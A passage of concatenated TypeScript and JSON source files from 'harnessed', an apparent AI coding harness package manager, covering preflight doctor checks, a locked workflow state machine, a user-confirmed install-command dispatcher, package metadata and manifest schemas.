workflows/judgments/web-search-routing.yaml — ' +\n 'without them, falls back to WebFetch/WebSearch built-in (degraded but functional)',\n install_commands: installCommands,\n }\n }\n\n return {\n name: 'MCP servers (tavily/exa/chrome-devtools)',\n status: 'warn',\n message: `${installed.length}/3 installed: ${installed.join(', ')}; missing: ${missing.join(', ')}`,\n fix: `install missing via per-server command (see install_commands): ${missing.join(', ')}`,\n install_commands: installCommands,\n }\n}\n","// v3.7.0 Phase 1 — Doctor check registry. Single source of truth for the\n// preflight check list, dispatched by src/cli/doctor.ts.\n//\n// Adding a new check:\n// 1. Create `src/cli/lib/check-<name>.ts` exporting `Promise<CheckResult>` fn\n// 2. Append to CHECKS array below\n// 3. Update tests/cli/doctor.test.ts CHECKS.length assertion\n//\n// Ordering preserved per doctor.test.ts cell-1+4+5 expectations. Built-in\n// checks (sync `checkNodeVersion` / `checkJq` / `checkWinBash`) are wrapped\n// with `Promise.resolve()` to keep dispatch uniform (Promise.all over the\n// whole array). All other checks are already async per delegate pattern.\n\nimport {\n type CheckResult,\n checkJq,\n checkMcpScope,\n checkNodeVersion,\n checkWinBash,\n} from './check-builtin.js'\n\nexport type { CheckResult } from './check-builtin.js'\n\nexport type CheckFn = () => Promise<CheckResult>\n\n/** All preflight checks, ordered for human-readable doctor output. */\nexport const CHECKS: readonly CheckFn[] = [\n async () => checkNodeVersion(),\n checkMcpScope,\n async () => checkJq(),\n async () => checkWinBash(),\n async () => {\n const { checkOrigin } = await import('./origin-check.js')\n const r = checkOrigin(process.cwd(), { allowFork: true })\n return { name: 'origin URL', status: r.status, message: r.detail, fix: r.fix }\n },\n async () => {\n const { probeGstackPrefix } = await import('./probe-gstack.js')\n const r = probeGstackPrefix()\n return { name: 'gstack prefix', status: r.status, message: r.detail, fix: r.fix }\n },\n async () => (await import('./check-deprecations.js')).checkDeprecations(),\n async () => (await import('./check-token-budget.js')).checkTokenBudget(),\n async () => (await import('./check-agent-teams-doctor.js')).checkAgentTeamsDoctor(),\n async () => (await import('./check-planning-with-files.js')).checkPlanningWithFiles(),\n async () => (await import('./check-mattpocock-skills.js')).checkMattpocockSkills(),\n async () => (await import('./check-mcp-availability.js')).checkMcpAvailability(),\n]\n","// Phase 3.1 W1 T1.3 — workflow state machine (D-02 KARPATHY 3-state, no FSM\n// lib). Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw).\n// Persists singleton state to `<harnessed-root>/current-workflow.json`. Hard limit\n// ≤ 80L per D-02 (3 transitions + read/write helpers).\n// Phase 5.1 W2 T2.2 — R10.2 concurrent write lock (D-05+D-06+D-07+D-08 LOCKED)\n// proper-lockfile dir-level lock `<harnessed-root>/.lock` wraps writeCurrentWorkflow.\n// W-01 PLAN-CHECK Path A: state.ts self-locks; engineHook acquires transitively.\n//\n// v3.0.3 hotfix — state + lock path migrated from `<cwd>/.harnessed/...` to\n// `<homedir>/.harnessed/...` via `getHarnessedRoot()` SoT. Sister v2.0.1\n// backup-root migration verbatim — EPERM-free when user CWD is read-only.\n\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport lockfile from 'proper-lockfile'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { branchOnSchemaVersion, SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { CurrentWorkflowV1, type CurrentWorkflowV1Type } from './schema/index.js'\n\n// v3.0.3 — lazy path resolution so HARNESSED_ROOT_OVERRIDE in e2e tests\n// applies before the first write (module-level const captured the path\n// at import time, before the test set the env var).\nfunction statePath(): string {\n return harnessedFile('current-workflow.json')\n}\nfunction lockTarget(): string {\n return getHarnessedRoot()\n}\nfunction lockOpts() {\n return {\n stale: 10_000,\n retries: { retries: 3, factor: 2, minTimeout: 100 },\n lockfilePath: harnessedFile('.lock'),\n }\n}\n\nexport class WorkflowStateError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'WorkflowStateError'\n }\n}\n\n/** Thrown when another harnessed process holds the harness-root `.lock` (D-06 LOCKED). */\nexport class LockHeldError extends Error {\n constructor() {\n super(\n `another harnessed process holds the lock at ${harnessedFile('.lock')} — wait or kill stale process (try: harnessed status)`,\n )\n this.name = 'LockHeldError'\n Object.setPrototypeOf(this, LockHeldError.prototype)\n }\n}\n\n/** Acquire dir-level lock then run fn(); release in finally (D-05+D-06+D-08).\n * v3.0.3: lock target is the homedir-rooted harness root (ensures the lock\n * directory exists before proper-lockfile tries to write `.lock` into it —\n * proper-lockfile will fail if the lockfilePath parent does not exist). */\nasync function withLock<T>(fn: () => Promise<T>): Promise<T> {\n const target = lockTarget()\n // Ensure the harness root exists before proper-lockfile tries to write.\n await mkdir(target, { recursive: true })\n let release: (() => Promise<void>) | undefined\n try {\n release = await lockfile.lock(target, lockOpts())\n } catch (e) {\n if ((e as NodeJS.ErrnoException).code === 'ELOCKED') throw new LockHeldError()\n throw e\n }\n try {\n return await fn()\n } finally {\n await release?.()\n }\n}\n\n/** Read state; returns null on missing/corrupt/unknown-version (CD-5 rule (b)\n * fail-soft). Throws only via writeCurrentWorkflow on known-version drift. */\nexport async function readCurrentWorkflow(): Promise<CurrentWorkflowV1Type | null> {\n let raw: string\n try {\n raw = await readFile(statePath(), 'utf8')\n } catch {\n return null\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return null\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n return branchOnSchemaVersion(v, {\n v1: () => (Value.Check(CurrentWorkflowV1, parsed) ? (parsed as CurrentWorkflowV1Type) : null),\n unknown: () => null,\n })\n}\n\n/** Write state with self-validate (loadPhases.ts pattern); creates parent dir;\n * acquires dir-level lock (D-05+D-08) before writeFile (R10.2 concurrent safety). */\nexport async function writeCurrentWorkflow(s: CurrentWorkflowV1Type): Promise<void> {\n if (!Value.Check(CurrentWorkflowV1, s)) {\n const errs = [...Value.Errors(CurrentWorkflowV1, s)].map((e) => e.message).join('; ')\n throw new WorkflowStateError(`current-workflow schema validation failed: ${errs}`)\n }\n const path = statePath()\n await mkdir(dirname(path), { recursive: true })\n await withLock(async () => {\n await writeFile(path, JSON.stringify(s, null, 2), 'utf8')\n })\n}\n\n/** Transition 1/3 — start a new workflow for `phase`. */\nexport async function activate(phase: string, checkpointPath: string | null = null): Promise<void> {\n await writeCurrentWorkflow({\n schemaVersion: SCHEMA_VERSIONS.currentWorkflow,\n phase,\n status: 'active',\n last_checkpoint_path: checkpointPath,\n started_at: new Date().toISOString(),\n })\n}\n\n/** Transition 2/3 — pause active workflow; preserves started_at. */\nexport async function pause(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'paused', paused_at: new Date().toISOString() })\n}\n\n/** Transition 3/3 — complete active/paused workflow; preserves timestamps. */\nexport async function complete(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'complete', completed_at: new Date().toISOString() })\n}\n","// src/manifest/schema/known-good.v1.ts — Phase 3.3 W1 T1.3 (D-03 YAML manifest 13th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts) + sister T1.2 aliases.v1.ts shape.\n// YAML manifest rejected JSON (项目未用 npm-lock + yaml convention) + Embed-in-\n// manifest (跨 manifest agg 难, R7.6 \"harnessed 版本冻结一组\" scope mismatch).\n// Manifest-domain colocation: src/manifest/schema/. install_method 字符串非 enum\n// (Karpathy YAGNI 防 schema drift 加耦 — Phase 2.X 6 install method 可能继续扩;\n// sister spec.ts InstallType union 仅作 doc reference 不强 link).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const PinnedUpstream = Type.Object(\n {\n name: Type.String({ minLength: 1 }),\n version: Type.String({ minLength: 1 }),\n install_method: Type.String({ minLength: 1 }), // npm-cli / mcp-stdio-add / etc per Phase 2.X\n },\n { additionalProperties: false },\n)\n\nexport const KnownGoodV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.knownGood), // 'harnessed.known-good.v1'\n harnessed_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n e2e_verified_at: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO date pattern\n upstreams: Type.Array(PinnedUpstream),\n },\n { additionalProperties: false },\n)\n\nexport type PinnedUpstreamType = Static<typeof PinnedUpstream>\nexport type KnownGoodV1Type = Static<typeof KnownGoodV1>\n","// src/manifest/knownGood.ts — Phase 3.3 W1 T1.5 — D-03 YAML manifest consumer.\n// Sister src/manifest/aliases.ts (fail-soft read + Value.Check + memoize).\n// Path: versions/<harnessed-ver>-known-good.yaml (sister manifests/tools/\n// <name>.yaml install.ts L66 path 范式). Lazy read per-harnessed-ver\n// (Karpathy YAGNI per planner CONTEXT Discretion lock — only pay cost when\n// --known-good flag triggers consume).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { KnownGoodV1, type KnownGoodV1Type } from './schema/known-good.v1.js'\n\nconst versionsDir = (): string => join(process.cwd(), 'versions')\n\nconst _cache = new Map<string, KnownGoodV1Type | null>()\n\n/** Load versions/<harnessedVer>-known-good.yaml; memoized per harnessedVer.\n * Returns null if file absent. Throws Karpathy fail-loud on schema invalid. */\nexport function loadKnownGood(harnessedVer: string): KnownGoodV1Type | null {\n if (_cache.has(harnessedVer)) return _cache.get(harnessedVer) ?? null\n const path = join(versionsDir(), `${harnessedVer}-known-good.yaml`)\n if (!existsSync(path)) {\n _cache.set(harnessedVer, null)\n return null\n }\n const raw = readFileSync(path, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(KnownGoodV1, parsed)) {\n const errs = [...Value.Errors(KnownGoodV1, parsed)].slice(0, 3)\n throw new Error(\n `${path} schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cache.set(harnessedVer, parsed)\n return parsed\n}\n\n/** Get pinned version for an upstream name + harnessed version. */\nexport function getPinnedVersion(upstreamName: string, harnessedVer: string): string | null {\n const kg = loadKnownGood(harnessedVer)\n if (!kg) return null\n const entry = kg.upstreams.find((u) => u.name === upstreamName)\n return entry?.version ?? null\n}\n","// Phase 3.1 W4 T4.3 — resume logic (D-03 RELOAD locked: stdout output, no spawn).\n// Sister: src/cli/doctor.ts --json flag + src/workflow/loadPhases.ts TypeBox validate.\n// CD-5 single 兼容门: branchOnSchemaVersion delegates unknown-version graceful degrade.\n// § 1.3 cwd guard: warn if checkpoint.cwd !== process.cwd() (SDK session resume may fail).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\nimport { readCurrentWorkflow } from './state.js'\n\nexport type ResumeResult =\n | { status: 'no-paused-phase'; error: string }\n | { status: 'corrupt'; error: string; path: string }\n | { status: 'ok'; checkpoint: CheckpointV1Type; cwdWarn?: string; resumeHint: string }\n\nexport async function runResume(): Promise<ResumeResult> {\n const current = await readCurrentWorkflow()\n if (!current) {\n return {\n status: 'no-paused-phase',\n error: 'no current-workflow.json found under <harnessed-root>',\n }\n }\n if (current.status !== 'paused') {\n return {\n status: 'no-paused-phase',\n error: `workflow status is '${current.status}', not 'paused'`,\n }\n }\n if (!current.last_checkpoint_path) {\n return { status: 'corrupt', error: 'last_checkpoint_path missing', path: '' }\n }\n const path = current.last_checkpoint_path\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'corrupt', error: `checkpoint missing: ${(e as Error).message}`, path }\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch (e) {\n return {\n status: 'corrupt',\n error: `checkpoint JSON parse failed: ${(e as Error).message}`,\n path,\n }\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n const validated = branchOnSchemaVersion<CheckpointV1Type | null>(v, {\n v1: () => (Value.Check(CheckpointV1, parsed) ? (parsed as CheckpointV1Type) : null),\n unknown: () => null,\n })\n if (!validated) {\n const errs = [...Value.Errors(CheckpointV1, parsed)].map((e) => e.message).join('; ')\n return { status: 'corrupt', error: `checkpoint schema validation failed: ${errs}`, path }\n }\n const cwd = process.cwd()\n const cwdWarn =\n validated.cwd !== cwd\n ? `⚠ checkpoint cwd '${validated.cwd}' ≠ current cwd '${cwd}' — SDK session resume may fail (§ 1.3); fresh-session fallback`\n : undefined\n const sidHint = validated.session_id\n ? ` (session_id: ${validated.session_id} — SDK will redirect to original session)`\n : ' (fresh session — context reloaded from checkpoint)'\n const resumeHint = `→ in Claude Code: /gsd-execute-phase ${validated.phase}${sidHint}`\n return { status: 'ok', checkpoint: validated, ...(cwdWarn ? { cwdWarn } : {}), resumeHint }\n}\n","// v3.9.0 P4 — Plugin auto-install dispatcher invoked at end of `harnessed setup`.\n// v3.9.1 — Replaced hardcoded `claude plugin install <name>` with structured\n// CheckResult.install_commands consumed verbatim (4 install patterns in the\n// wild: official marketplace `claude plugin install` / 3rd-party marketplace\n// 2-step `marketplace add + plugin install` / `claude mcp add --transport ...`\n// per-server transport / `npx skills@latest add owner/repo` skill CLI).\n//\n// Reverses v3.6.0 Phase 2 SPEC NO-auto-install decision per v3.9.0 ship: instead\n// of printing `fix:` hints for user to copy-paste, prompt user with Clack\n// confirm() per missing check, then spawn each command in install_commands\n// sequentially; abort chain on first non-zero exit.\n//\n// Default: opt-in (user is prompted unless --non-interactive / --no-auto-install\n// / non-TTY).\n// Escape hatches:\n// --non-interactive → skip prompts, restore v3.8.x advisory-only behavior\n// --no-auto-install → opt out explicitly even in interactive mode\n// non-TTY stdin/out → auto-detect, fall back to advisory\n\nimport { spawnSync } from 'node:child_process'\nimport * as p from '@clack/prompts'\nimport { CHECKS, type CheckResult } from './doctor-registry.js'\n\nexport interface AutoInstallOpts {\n /** Skip all interactive prompts (CI / scripts). When true, falls back to\n * advisory-only behavior — equivalent to v3.8.x setup output. */\n nonInteractive: boolean\n /** Master opt-out flag — even in interactive mode, skip all install attempts. */\n autoInstall: boolean\n}\n\nexport interface AutoInstallResult {\n installed: string[]\n skipped: string[]\n failed: { name: string; reason: string }[]\n}\n\n/** Run all doctor checks, prompt user for each installable warn entry, spawn\n * each command in install_commands sequentially on consent. Returns counts\n * for setup summary line. */\nexport async function runAutoInstall(opts: AutoInstallOpts): Promise<AutoInstallResult> {\n const out: AutoInstallResult = { installed: [], skipped: [], failed: [] }\n\n if (!opts.autoInstall) {\n return out // explicit opt-out — short-circuit\n }\n\n // Re-run doctor checks (mostly cached I/O — file reads + spawnSync('where')).\n const results: CheckResult[] = await Promise.all(CHECKS.map((c) => c()))\n\n // Filter: warn-status entries with non-empty install_commands array.\n const installables = results.filter(\n (r): r is CheckResult & { install_commands: readonly string[] } =>\n r.status === 'warn' && Array.isArray(r.install_commands) && r.install_commands.length > 0,\n )\n\n if (installables.length === 0) {\n return out\n }\n\n console.log(\n `\\n💡 ${installables.length} optional check(s) installable — harnessed can run install commands now:`,\n )\n\n for (const check of installables) {\n const commands = check.install_commands\n\n if (opts.nonInteractive) {\n // CI mode — skip prompt, leave advisory hint visible from earlier doctor output.\n out.skipped.push(check.name)\n continue\n }\n\n // Show the full command list to the user BEFORE the confirm — informed consent.\n const preview = commands.map((c) => ` $ ${c}`).join('\\n')\n console.log(`\\n ${check.name}:`)\n console.log(preview)\n\n const ans = await p.confirm({\n message: `Run ${commands.length} install command(s) for \"${check.name}\"?`,\n initialValue: true,\n })\n if (p.isCancel(ans) || ans !== true) {\n out.skipped.push(check.name)\n continue\n }\n\n // Run commands sequentially; abort chain on first non-zero exit.\n let chainOk = true\n for (const cmd of commands) {\n const tokens = cmd.split(/\\s+/).filter((t) => t.length > 0)\n const exe = tokens[0]\n const args = tokens.slice(1)\n if (exe === undefined) {\n // Defensive — should never happen given install_commands non-empty entries.\n out.failed.push({ name: check.name, reason: `empty command in install_commands` })\n chainOk = false\n break\n }\n const r = spawnSync(exe, args, {\n encoding: 'utf8',\n stdio: 'inherit',\n // Windows needs shell for `.cmd` / `.bat` exes (npx.cmd / claude.cmd\n // shims); Unix is fine either way. Pass-through to OS shell handles\n // PATH resolution + extension lookup.\n shell: true,\n })\n if (r.status !== 0) {\n const reason =\n r.error !== undefined\n ? `spawn error: ${r.error.message}`\n : `exit code ${r.status ?? '<unknown>'} on \\`${cmd}\\``\n out.failed.push({ name: check.name, reason })\n console.error(` ✗ failed ${check.name} — ${reason}`)\n chainOk = false\n break\n }\n }\n if (chainOk) {\n out.installed.push(check.name)\n console.log(` ✓ installed ${check.name}`)\n }\n }\n\n // Summary line for setup output.\n console.log(\n `\\nAuto-install summary: ${out.installed.length} installed / ${out.skipped.length} skipped / ${out.failed.length} failed`,\n )\n\n return out\n}\n","{\n \"name\": \"harnessed\",\n \"version\": \"3.9.2\",\n \"description\": \"AI coding harness package manager + composition orchestrator\",\n \"type\": \"module\",\n \"license\": \"Apache-2.0\",\n \"author\": \"easyinplay\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/easyinplay/harnessed.git\"\n },\n \"homepage\": \"https://github.com/easyinplay/harnessed#readme\",\n \"bugs\": \"https://github.com/easyinplay/harnessed/issues\",\n \"keywords\": [\n \"claude-code\",\n \"ai-harness\",\n \"package-manager\",\n \"composition\",\n \"skill-pack\",\n \"mcp\",\n \"orchestrator\"\n ],\n \"engines\": {\n \"node\": \">=22.0.0\"\n },\n \"packageManager\": \"pnpm@10.12.0\",\n \"bin\": {\n \"harnessed\": \"./dist/cli.mjs\"\n },\n \"main\": \"./dist/index.mjs\",\n \"types\": \"./dist/index.d.ts\",\n \"exports\": {\n \".\": {\n \"types\": \"./dist/index.d.ts\",\n \"import\": \"./dist/index.mjs\",\n \"default\": \"./dist/index.mjs\"\n },\n \"./schemas\": {\n \"types\": \"./dist/schemas/index.d.ts\",\n \"import\": \"./dist/schemas/index.mjs\"\n },\n \"./package.json\": \"./package.json\"\n },\n \"files\": [\n \"dist\",\n \"manifests\",\n \"workflows\",\n \"routing\",\n \"config-templates\",\n \"schemas\",\n \"README.md\",\n \"LICENSE\",\n \"NOTICE\",\n \"THIRD-PARTY-NOTICES.md\"\n ],\n \"scripts\": {\n \"dev\": \"tsup --watch\",\n \"build\": \"tsc --noEmit && tsup\",\n \"build:schema\": \"node ./scripts/build-schema.mjs\",\n \"validate:schema\": \"node ./scripts/validate-schema.mjs\",\n \"typecheck\": \"tsc --noEmit\",\n \"test\": \"vitest run --passWithNoTests\",\n \"test:watch\": \"vitest\",\n \"test:coverage\": \"vitest run --coverage --passWithNoTests\",\n \"bench\": \"vitest bench --run\",\n \"lint\": \"biome check .\",\n \"lint:fix\": \"biome check --write .\",\n \"format\": \"biome format --write .\"\n },\n \"dependencies\": {\n \"@anthropic-ai/claude-agent-sdk\": \"0.3.142\",\n \"@clack/prompts\": \"^0.10.1\",\n \"@sinclair/typebox\": \"^0.34.49\",\n \"ajv\": \"^8.20.0\",\n \"ajv-errors\": \"^3.0.0\",\n \"ajv-formats\": \"^3.0.1\",\n \"commander\": \"^13.0.0\",\n \"diff\": \"^9.0.0\",\n \"expr-eval\": \"^2.0.2\",\n \"picocolors\": \"^1.1.1\",\n \"proper-lockfile\": \"^4.1.2\",\n \"yaml\": \"^2.9.0\"\n },\n \"devDependencies\": {\n \"@biomejs/biome\": \"^2.0.0\",\n \"@types/node\": \"^22.10.0\",\n \"@types/proper-lockfile\": \"^4.1.4\",\n \"@vitest/coverage-v8\": \"^4.0.0\",\n \"tsup\": \"^8.3.0\",\n \"typescript\": \"^5.6.0\",\n \"vitest\": \"^4.0.0\"\n },\n \"pnpm\": {\n \"onlyBuiltDependencies\": [\n \"esbuild\"\n ]\n }\n}\n","// Friendly error mapping per ADR 0001 + GA-1 § validator entry.\n// Translates Ajv `ErrorObject[]` and yaml parse errors into a uniform\n// `ValidationError` shape with path + keyword + line/column.\n// T4.3 adds yaml LineCounter + doc.getIn() for precise source location.\n\nimport type { ErrorObject } from 'ajv'\nimport type { Document, LineCounter, Node } from 'yaml'\n\nexport interface ValidationError {\n file: string\n path: string\n message: string\n line: number | null\n column: number | null\n keyword: string\n}\n\n/**\n * Translate a JSON Pointer instancePath (\"/spec/install/method\") into the\n * key-path array yaml@2 expects (\"spec\", \"install\", \"method\"). Numeric\n * segments are coerced for sequence indexing.\n */\nfunction instancePathToKeyPath(instancePath: string): Array<string | number> {\n if (!instancePath || instancePath === '/') return []\n return instancePath\n .split('/')\n .filter(Boolean)\n .map((seg) => {\n const n = Number(seg)\n return Number.isInteger(n) && String(n) === seg ? n : seg\n })\n}\n\n/**\n * Resolve `instancePath` to a yaml node by walking the parsed Document, then\n * convert the node's start offset to a 1-indexed `{ line, col }` via the\n * supplied LineCounter. Returns `{ null, null }` if the node cannot be located\n * (e.g. when validation reports a missing field, the node never existed).\n */\nfunction locateLineFromDoc(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n instancePath: string,\n): { line: number | null; column: number | null } {\n const path = instancePathToKeyPath(instancePath)\n // For empty path the document root sits at offset 0.\n let node: unknown\n if (path.length === 0) {\n node = doc.contents\n } else {\n node = doc.getIn(path, true)\n }\n\n if (!node || typeof node !== 'object') return { line: null, column: null }\n const range = (node as Node).range\n if (!range) return { line: null, column: null }\n\n const offset = range[0]\n const pos = lineCounter.linePos(offset)\n return { line: pos.line, column: pos.col }\n}\n\n/**\n * Map an Ajv error to ValidationError. When `doc` + `lineCounter` are supplied,\n * line/column are populated from the yaml CST.\n */\nexport function ajvErrorToFriendly(\n err: ErrorObject,\n file: string,\n doc?: Document.Parsed,\n lineCounter?: LineCounter,\n): ValidationError {\n let path = err.instancePath || '/'\n const params = err.params as Record<string, unknown> | undefined\n if (\n err.keyword === 'additionalProperties' &&\n params &&\n typeof params.additionalProperty === 'string'\n ) {\n path = `${path}/${params.additionalProperty}`\n } else if (err.keyword === 'required' && params && typeof params.missingProperty === 'string') {\n path = `${path}/${params.missingProperty}`\n }\n\n let line: number | null = null\n let column: number | null = null\n if (doc && lineCounter) {\n // For required-field errors the missing field has no node; resolve to the\n // parent path instead so the user is pointed at the parent block.\n const lookupPath = err.keyword === 'required' ? err.instancePath || '/' : path\n const loc = locateLineFromDoc(doc, lineCounter, lookupPath)\n line = loc.line\n column = loc.column\n }\n\n return {\n file,\n path,\n message: err.message ?? 'unknown error',\n line,\n column,\n keyword: err.keyword,\n }\n}\n\nexport interface YamlParseLike {\n message: string\n linePos?: ReadonlyArray<{ line: number; col: number }>\n}\n\nexport function yamlParseErrorToFriendly(err: YamlParseLike, file: string): ValidationError {\n return {\n file,\n path: '/',\n message: err.message,\n line: err.linePos?.[0]?.line ?? null,\n column: err.linePos?.[0]?.col ?? null,\n keyword: 'yaml-parse',\n }\n}\n","// Metadata sub-schema per ADR 0001 § Top-level structure.\n// Fields: apiVersion (Literal harnessed/v1), kind (Literal Manifest),\n// metadata.{name, display_name?, description, upstream{...}}.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const ApiVersion = Type.Literal('harnessed/v1')\nexport const Kind = Type.Literal('Manifest')\n\n// SPDX whitelist per ADR 0001 line 51.\n// ADR 0010 errata — license whitelist extension (D-03/D-05). `MIT-0` (MIT No\n// Attribution, SPDX-registered) added for baoyu-skills; `anthropics-official`\n// carve-out added for anthropics/skills monorepo sub-skills (frontend-design /\n// document-skills / webapp-testing) which have no per-skill LICENSE file.\nconst SpdxLicense = Type.Union([\n Type.Literal('MIT'),\n Type.Literal('Apache-2.0'),\n Type.Literal('BSD-3-Clause'),\n Type.Literal('ISC'),\n Type.Literal('0BSD'),\n Type.Literal('MIT-0'),\n Type.Literal('anthropics-official'),\n])\n\n// ADR 0010 errata — license provenance audit field (D-04). Records where the\n// license info was sourced from so it can be mechanically audited. Optional —\n// additive only, A7' 8-pillar safe (no existing manifest broken).\nconst LicenseSource = Type.Union([\n Type.Literal('README'),\n Type.Literal('registry'),\n Type.Literal('none'),\n Type.Literal('anthropics-official'),\n])\n\nconst Upstream = Type.Object(\n {\n source: Type.String({ minLength: 1 }),\n homepage: Type.String({ format: 'uri' }),\n repository: Type.String({ format: 'uri' }),\n license: SpdxLicense,\n license_source: Type.Optional(LicenseSource),\n notice: Type.String({ minLength: 1, maxLength: 500 }),\n },\n { additionalProperties: false },\n)\n\nexport const MetadataSchema = Type.Object(\n {\n name: Type.String({ pattern: '^[a-z0-9][a-z0-9-]*$', minLength: 1 }),\n display_name: Type.Optional(Type.String()),\n description: Type.String({ minLength: 1, maxLength: 120 }),\n upstream: Upstream,\n },\n { additionalProperties: false },\n)\n","// install.method = cc-hook-add per ADR 0001 type×method matrix + Phase 2.4 W3 T3.1 (D-04 § 3.1).\n//\n// IMPL NOTE (Phase 2.4 W3 / R2.4.4): Claude Code SessionStart / UserPromptSubmit /\n// PreToolUse / PostToolUse hooks are configured in ~/.claude/settings.json under\n// `hooks.<event>[].{matcher, command}` shape. This install method lets a manifest\n// register a hook entry idempotently. The hook_command is the bash invocation the\n// user wants run on that lifecycle event (e.g. `node scripts/dashboard.mjs --no-open`\n// to auto-spawn the dashboard on session start).\n//\n// Sister: npxSkillInstaller schema (~17L) — same minimal TypeBox shape, no exotic\n// fields. `idempotent_check` reused from the 6 sister install methods (preflight\n// invariant per src/installers/lib/preflight.ts contract).\n\nimport { Type } from '@sinclair/typebox'\n\nconst HookEvent = Type.Union([\n Type.Literal('SessionStart'),\n Type.Literal('UserPromptSubmit'),\n Type.Literal('PreToolUse'),\n Type.Literal('PostToolUse'),\n])\n\nexport const CcHookAdd = Type.Object(\n {\n method: Type.Literal('cc-hook-add'),\n cmd: Type.String({ minLength: 1 }), // audit-trail (the bash invocation registered)\n // cwd/env required by lib/spawn.ts discriminated-union access (sister 6 method\n // shape parity — even though cc-hook-add does not spawn, generic spawn helper\n // expects these fields on the install union).\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n hook_event: HookEvent,\n hook_matcher: Type.Optional(Type.String()),\n hook_command: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = cc-plugin-marketplace per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n//\n// Phase 1.2 ADR 0005 errata — `marketplace_source` optional field for\n// third-party marketplaces (e.g. OthmanAdi/planning-with-files which is NOT\n// in claude-plugins-official). v0.1 only `source: github`. Official upstream\n// can omit; phase 2.1 cc-plugin-marketplace installer will consume this\n// field structurally instead of parsing the cmd string.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\nconst REPO_PATTERN = '^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$'\n\nexport const CcPluginMarketplace = Type.Object(\n {\n method: Type.Literal('cc-plugin-marketplace'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n // ADR 0005 — third-party marketplace structured metadata (optional).\n marketplace_source: Type.Optional(\n Type.Object(\n {\n source: Type.Literal('github'),\n repo: Type.String({ pattern: REPO_PATTERN, minLength: 3 }),\n },\n { additionalProperties: false },\n ),\n ),\n },\n { additionalProperties: false },\n)\n","// install.method = git-clone-with-setup per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\n\nexport const GitCloneWithSetup = Type.Object(\n {\n method: Type.Literal('git-clone-with-setup'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-http-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpHttpAdd = Type.Object(\n {\n method: Type.Literal('mcp-http-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-stdio-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: 